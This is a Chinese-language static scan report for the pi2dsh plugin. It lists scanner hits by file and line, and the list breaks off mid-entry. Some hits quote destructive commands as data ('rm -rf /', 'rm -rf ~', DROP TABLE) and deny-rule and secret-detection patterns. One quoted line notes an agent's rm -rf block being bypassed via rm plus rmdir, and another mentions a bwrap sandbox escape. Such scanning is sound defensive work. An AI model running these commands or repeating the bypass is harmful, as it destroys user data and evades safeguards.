扫描报告 · weijiafu14/pi2dsh

扫描报告 · weijiafu14/pi2dsh

认证等级

验证状态

registry-confirmed（有 registry 凭证证据）

验证方法

未登记 structured verifiedBy

运行级实测

未做运行级实测

内容锚

git commit f200553784f3 · weijiafu14/pi2dsh · git ls-remote / clone 复现可对账

DID

did:cha2a:package:weijiafu14/pi2dsh

身份锚点

npm 未声明 GitHub 仓库——装前请自行核验来源

来源

git

插件版本

—

安装

dsh plugin add github:weijiafu14/pi2dsh

扫描日期

2026-08-27（36 天前）

扫描层级

静态扫描（自研规则 + GuardDog 复核 + OSV 依赖）

扫描器版本

dshlib-scan v0.1 · GuardDog 3.2.0 · OSV.dev

自研扫描：⚠️ 待审 · GuardDog 复核：未扫描 · OSV 依赖：未扫描

⚠️ 结论待复核：上次扫描距今 36 天（2026-08-27），插件或运行时更新后结论可能过期，建议重新扫描后再安装。

语义：扫描是提示信号，非安全审查。✅ 通过=无命中；⚠️ 待审=有命中需人工判断；❌ 失败=无法扫描。人工确认恶意→下架。本页全部内容由 dshlib 数据库派生（验证报告可核对证据）。认证等级与依赖漏洞正交：L4 认证覆盖插件包内容/来源/生态，不覆盖依赖安全（见收录与验证标准）。结论有有效期：插件或运行时更新后，本页结论可能过期（>30 天将标注待复核）。本库能力与边界：披露页。

1. 自研扫描（dshlib-scan）

verified

True

findings

{'dangerous_commands': [{'file': 'pi2dsh-main/CLAUDE.md', 'line': 720, 'match': 'rm -rf /tmp/', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/CLAUDE.md', 'line': 727, 'match': 'rm -rf <profile>/node_modules/pi2dsh/', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/CLAUDE.md', 'line': 257, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/audit-results.json', 'line': 1290, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/blackbox-results.json', 'line': 1392, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/architecture-feasibility-challenges.json', 'line': 9902, 'match': 'rm -rf、mv 覆盖等）和干跑/', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/architecture-feasibility.json', 'line': 8439, 'match': 'rm -rf、mv 覆盖等）和干跑/', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/candidate-comments.json', 'line': 5107, 'match': 'reboot', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/candidate-comments.json', 'line': 5123, 'match': 'reboot', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/candidate-comments.json', 'line': 5155, 'match': 'reboot', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 2731, 'match': 'rm -rf <workspace>` / `shutil.rmtree(workspace_root)`) with **no approval prompt', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 2731, 'match': 'rm -rf /path/to/workspace` (or any Python `shutil.rmtree` targeting the workspac', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 26071, 'match': 'rm -rf \\"$SCRATCH\\"\' EXIT\\r\\nmkdir -p \\"$SCRATCH/ws\\" \\"$SCRATCH/out\\r\\n[bugs.zi', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 32971, 'match': 'rm -rf ~/.npm/_npx/*` 后 `npx @deepseek-ai/dsh web` → 依旧崩溃。\\r\\n2. **默认 `standard`', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 33631, 'match': "rm -rf:*)'\\n - 'Read(*secrets*)'\\n - 'mcp__github__delete_repo", 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 34011, 'match': 'rm -rf cpp/', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 34011, 'match': 'rm -rf cpp/build cpp` still executed **unconditionally**, deleting the entire pr', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 34011, 'match': 'rm -rf`, `mv` overwrites, `>` redirects, `dd`, `mkfs`.\\n2. **Destructive-command', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 34831, 'match': 'rm -rf、chmod 777 那种，命令行工具嘛，要干活就得动刀，这个我懂。\\r\\n\\r\\n 然后开始离谱了。dsh-cyber-sec，一个排场很大的安', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 35391, 'match': 'rm -rf、#1734 DEP0190、#1768 丢 prompt、#1769 bwrap 逃逸、#1777 CJK 路径、#1780 reasoning_', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 37251, 'match': 'rm -rf`），下一个回合结束时\\ndsh 崩溃退出：\\n\\n```\\ndsh: fatal load failure: Error: ENOENT: no ', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 43331, 'match': 'rm -rf <workspace>` 与删 build 目录无法区分 → 关联 [#149](https://github.com/deepseek-ai/d', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 46951, 'match': 'rm -rf、偷偷外传数据的端点，问题类型、文件、行号、代码片段全列出来，一眼看清。说清楚一下，dsh.so 是我个人做的第三方资源，和 DeepSeek 官方', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 47951, 'match': 'rm -rf / push --force…）+ 密钥泄漏（AKIA/sk-/ghp_…）**执行前拦截**，带 allowList 豁免 | `dsh plu', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 50771, 'match': 'rm -rf ~` 的时候，让一个更强的模型先读一遍，再决定放行 / 拒绝 / 问你**——判决由真正的 tool executor 执行，不是 prompt ', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 51231, 'match': 'rm -rf ~`，且在 Windows 上更容易被「正常清理临时 home」话术触发。\\r\\n## 期望行为 / 建议\\r\\n请按 **高优先级 Agent ', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 55531, 'match': 'rm -rf $env:LOCALAPPDATA\\\\npm-cache\\\\_npx)\\r\\n\\r\\n✅ Cleared npm cache (npm cache', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 55691, 'match': "rm -rf」 | `['\\\\rm -rf /tmp/x', 'backslash-escaped rm']` |\\n| `tests/risk-corpus-", 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 62751, 'match': 'rm -rf` 兜底；会话中断即残留。\\r\\n\\r\\n## 信息缺口\\r\\n\\r\\n- sandbox:policy 上下文只写 \\"Some platform', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 72491, 'match': 'rm -rf` was walked around with `rm` followed by `rmdir` in the same run.\\r\\n\\r\\n', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 50771, 'match': 'DROP TABLE', 'label': '数据库破坏'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 80591, 'match': 'TRUNCATE', 'label': '数据库破坏'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 80631, 'match': 'TRUNCATE', 'label': '数据库破坏'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 2751, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 4751, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 7171, 'match': 'reboot', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 9331, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 9331, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 9331, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 13811, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 18871, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 28051, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 30851, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 30911, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 30911, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 33411, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 37371, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 40171, 'match': 'reboot', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 40171, 'match': 'reboot', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 41171, 'match': 'reboot', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 41171, 'match': 'reboot', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 41171, 'match': 'reboot', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 48711, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 48711, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 50731, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 51231, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 52731, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 52731, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 57091, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 57811, 'match': 'reboot', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 60551, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 61471, 'match': 'reboot', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 61471, 'match': 'reboot', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 64251, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 69371, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 71831, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 73791, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 73791, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 75131, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 75131, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 75131, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 75131, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 75131, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 76891, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 78071, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 78071, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 81330, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 81331, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 81331, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/e2e-live.json', 'line': 1792, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/e2e-live.json', 'line': 1792, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 3252, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 3252, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 6420, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 6420, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 1233, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 5337, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 6469, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 8982, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 10045, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 16416, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/README.md', 'line': 42, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/README.md', 'line': 44, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/README.md', 'line': 44, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/README.md', 'line': 88, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/diagnostics/review-cancel-failure.json', 'line': 10, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/native-shutdown-seam.json', 'line': 2, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 749, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 750, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 761, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 762, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2085, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2086, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2091, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2092, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2133, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2134, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2139, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2140, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2145, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2146, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2205, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2206, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2217, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2218, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2236, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2237, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2266, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2267, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2326, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2327, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2332, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/npm-source-tests.log', 'line': 2333, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/per-agent-shutdown-flush.json', 'line': 2, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/STANDARDS.md', 'line': 283, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/architecture-mapping-matrix.md', 'line': 60, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/architecture-mapping-matrix.md', 'line': 286, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/architecture-mapping-matrix.md', 'line': 332, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/audit/abi-faithfulness-2026-08-16.md', 'line': 149, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/audit/abi-faithfulness-2026-08-16.md', 'line': 149, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/audit/abi-faithfulness-2026-08-16.md', 'line': 159, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/audit/abi-faithfulness-2026-08-16.md', 'line': 767, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/audit/abi-faithfulness-2026-08-16.md', 'line': 1726, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 25, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 25, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 25, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 25, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 37, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 37, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 37, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 81, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 81, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 85, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 153, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 153, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/capabilities/sessions.md', 'line': 157, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/dsh-architecture-audit.md', 'line': 356, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/dsh-architecture-audit.md', 'line': 363, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/dsh-architecture-audit.md', 'line': 369, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/dsh-architecture-audit.md', 'line': 369, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/mcp-compatibility.md', 'line': 80, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/plugin-validation-matrix.md', 'line': 548, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/plugin-validation-matrix.md', 'line': 549, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/posting-kit/archive-0.2.0/design-notes.md', 'line': 22, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/posting-kit/archive-0.2.0/design-notes.md', 'line': 36, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/posting-kit/archive-0.2.0/reply-1398.md', 'line': 12, 'match': 'rm -rf /var/', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/docs/posting-kit/archive-0.2.0/reply-421.md', 'line': 13, 'match': 'rm -rf /var/log/', 'label': 'rm -rf 危险删除'}, {'file': 'pi2dsh-main/docs/posting-kit/post-dsh-showcase.md', 'line': 107, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/posting-kit/post-dsh-showcase.md', 'line': 107, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/posting-kit/post-pi-community.md', 'line': 34, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/posting-kit/post-pi-community.md', 'line': 34, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/posting-kit/support-matrix.md', 'line': 23, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/posting-kit/support-matrix.md', 'line': 38, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/docs/posting-kit/support-matrix.md', 'line': 39, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/examples/persistent-memory/README.md', 'line': 76, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/examples/tui-mcp/README.md', 'line': 131, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/fixtures/complete-package/extensions/index.ts', 'line': 74, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/fixtures/complete-package/extensions/index.ts', 'line': 74, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/fixtures/native-shutdown-probe/cordis.patch.yml', 'line': 2, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/fixtures/native-shutdown-probe/index.mjs', 'line': 5, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/fixtures/native-shutdown-probe/package.json', 'line': 2, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/fixtures/runtime-edge-extension.ts', 'line': 52, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/fixtures/runtime-edge-extension.ts', 'line': 52, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/generate-capability-docs.mjs', 'line': 55, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/generate-capability-docs.mjs', 'line': 57, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-codex-image-gen-e2e.mjs', 'line': 154, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-codex-image-gen-e2e.mjs', 'line': 155, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-codex-image-gen-e2e.mjs', 'line': 398, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-community.mjs', 'line': 118, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 139, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 210, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 211, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 215, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 217, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 217, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 218, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 221, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 222, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 278, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 289, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 290, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 294, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 297, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 300, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 301, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 303, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 304, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 306, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 308, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 566, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-tui-mcp-tool-e2e.mjs', 'line': 536, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/scripts/verify-tui-mcp-tool-e2e.mjs', 'line': 555, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/capability.ts', 'line': 6, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/capability.ts', 'line': 87, 'match': 'shutdown', 'label': '系统关机'}, {'file': 